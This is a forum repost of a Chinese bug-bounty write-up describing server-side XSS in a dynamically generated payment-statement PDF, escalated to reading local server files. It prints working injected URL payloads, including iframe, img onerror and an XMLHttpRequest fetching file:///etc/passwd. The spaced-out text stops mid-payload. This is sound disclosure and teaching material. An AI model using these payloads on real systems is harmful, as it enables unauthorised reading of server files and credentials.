搜索

[29041] 2021-06-28_在动态生成的PDF中通过XSS读取本地文件

文档创建者：s7ckTeam
浏览次数：54
最后更新：2025-01-19
2021-06-28_在动态生成的PDF中通过XSS读取本地文件 在 动 态 生 成 的   P D F   中 通 过   X S S   读 取 本 地 文 件 O t s 安 全   2 0 2 1 - 0 6 - 2 8 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 你 好 猎 人 ， 这 次 我 写 的 是 在   B u g c r o w d   上 的 另 一 个 私 人 程 序 （ x y z . c o m ） 中 发 现 的 一 个 漏 洞 ， 起 初 我 认 为 它 没 有 太 大 影 响 （ P 4 ） ， 但 后 来 将 其 升 级 为   P 1 。 在 浏 览 应 用 程 序 时 ， 我 遇 到 了 一 个 端 点 ， 它 允 许 我 们 以   P D F   格 式 下 载 某 种 付 款 报 表 。 网 址 看 起 来 像 这 样 我 看 到 u t r n u m b e r 的 值 反 映 在 下 载 的   P D F   文 件 中 ， 所 以 我 在 u t r n u m b e r 参 数 中 写 了 一 些   H T M L 为 " > < S > a a a 打 开 此   P D F   后 ， 我 发 现   H T M L   已 呈 现 并 且 可 以 在   P D F   中 看 到 。 这 某 种 漏 洞 通 常 会 导 致   X S S   但 这 次 它 是 在 动 态 生 成 的   P D F 中 。 动 态   P D F   生 成 示 例 我 试 着 看 看 我 是 否 可 以 使 用   i f r a m e   并 在 框 架 中 加 载 内 部 域 ， 或 者 我 是 否 可 以   i f r a m e   f i l e : / / / e t c / p a s s w d   但 没 有 一 个 技 巧 奏 效 ！ 此 外 ， 我 无 法   i f r a m e   外 部 域 。 但 是 ， 从 现 在 开 始 我 不 知 道 我 是 否 可 以 更 进 一 步 ， 因 为 我 不 确 定   j a v a s c r i p t   是 否 可 以 在   P D F   中 像 这 样 执 行 。 所 以 在 玩 了 很 多 之 后 我 发 现 我 们 可 以 在 D O M   M a n i p u l a t i o n 的 帮 助 下 执 行 j a v a s c r i p t 下 载   P D F   后 ， 我 发 现 它 包 含 “ a a a a ” ： D ， 这 意 味 着   J a v a S c r i p t   执 行 成 功 。 后 来 ， 我 明 白 这 是 因 为 我 们 的 用 户 输 入 在 服 务 器 端 从   H T M L   文 档 转 换 为   P D F 。 又 过 了 一 段 时 间 ， 我 发 现 我 也 可 以 使 用   d o c u m e n t . w r i t e ( )   函 数 来 更 轻 松 地 显 示 结 果 。 h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = x y z & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = " > < S > a a a   & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = " > < i f r a m e   s r c = " h t t p : / / l o c a l h o s t " > < / i f r a m e > & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d < p   i d = " t e s t " > a a < / p > < s c r i p t >         d o c u m e n t . g e t E l e m e n t B y I d ( ' t e s t ' ) . i n n e r H T M L + = ' a a ' < / s c r i p t >   h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = < p   i d = " t e s t " > a a < / p > < s c r i p t > d o c u m e n t . g e t E l e m e n t B y I d ( ' t e s t ' ) . i n n e r H T M L + = ' a a ' < / s c r i p t > & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d < i m g   s r c = x   o n e r r o r = d o c u m e n t . w r i t e ( " a a a a " ) > h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = < i m g   s r c = x   o n e r r o r = d o c u m e n t . w r i t e ( ' a a a a ' ) > & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d
在 此 之 后 ， 我 检 查 了 执 行 此   j a v a s c r i p t   的 位 置 的 w i n d o w . l o c a t i o n ， 令 我 惊 讶 的 是 它 在 服 务 器 上 的 f i l e : / /   o r i g i n   中 执 行 现 在 ， 自 从 它 在   f i l e : / /   上 执 行 以 来 ， 我 尝 试 过 是 否 可 以 通 过   X H R ( X M L H t t p R e q u e s t ) 访 问 f i l e : / / / e t c / p a s s w d ， 但 我 不 确 定 文 件 方 案 上 的   S a m e - O r g i n - P o l i c y 。 然 后 你 就 知 道 了   ; ) 就 是 这 样 ， 服 务 器 端 的   X S S   生 成   P D F   到 本 地 文 件 读 取 ！ 但 是 ， 我 花 了 一 些 时 间 来 弄 清 楚 这 一 切 您 可 以 看 到 我 必 须 下 载 的   P D F   数 量 ： h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = < i m g   s r c = x   o n e r r o r = d o c u m e n t . w r i t e ( ' a a a a ' % 2 b w i n d o w . l o c a t i o n ) > & d a t e = 2 0 1 7 - 0 8 - 1 1 & s e t t l e m e n t _ t y p e = a l l & a d v i c e _ i d = u n d e f i n e d < s c r i p t >         x = n e w   X M L H t t p R e q u e s t ;         x . o n l o a d = f u n c t i o n ( ) {             d o c u m e n t . w r i t e ( t h i s . r e s p o n s e T e x t ) } ;         x . o p e n ( " G E T " , " f i l e : / / / e t c / p a s s w d " ) ;         x . s e n d ( ) ; < / s c r i p t > h t t p s : / / x y z . c o m / p a y m e n t s / d o w n l o a d S t a t e m e n t s ? I d = b 9 b c 3 d & u t r n u m b e r = < s c r i p t > x = n e w   X M L H t t p R e q u e s t ; x . o n l o a d = f u n c t i o n ( ) { d o c u m e n t . w r i t e ( t h i s . r e s p o n s e T e x t ) } ; x . o p e n ( " G E T " , " f i l e : / / / e t c / p a s s w d "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理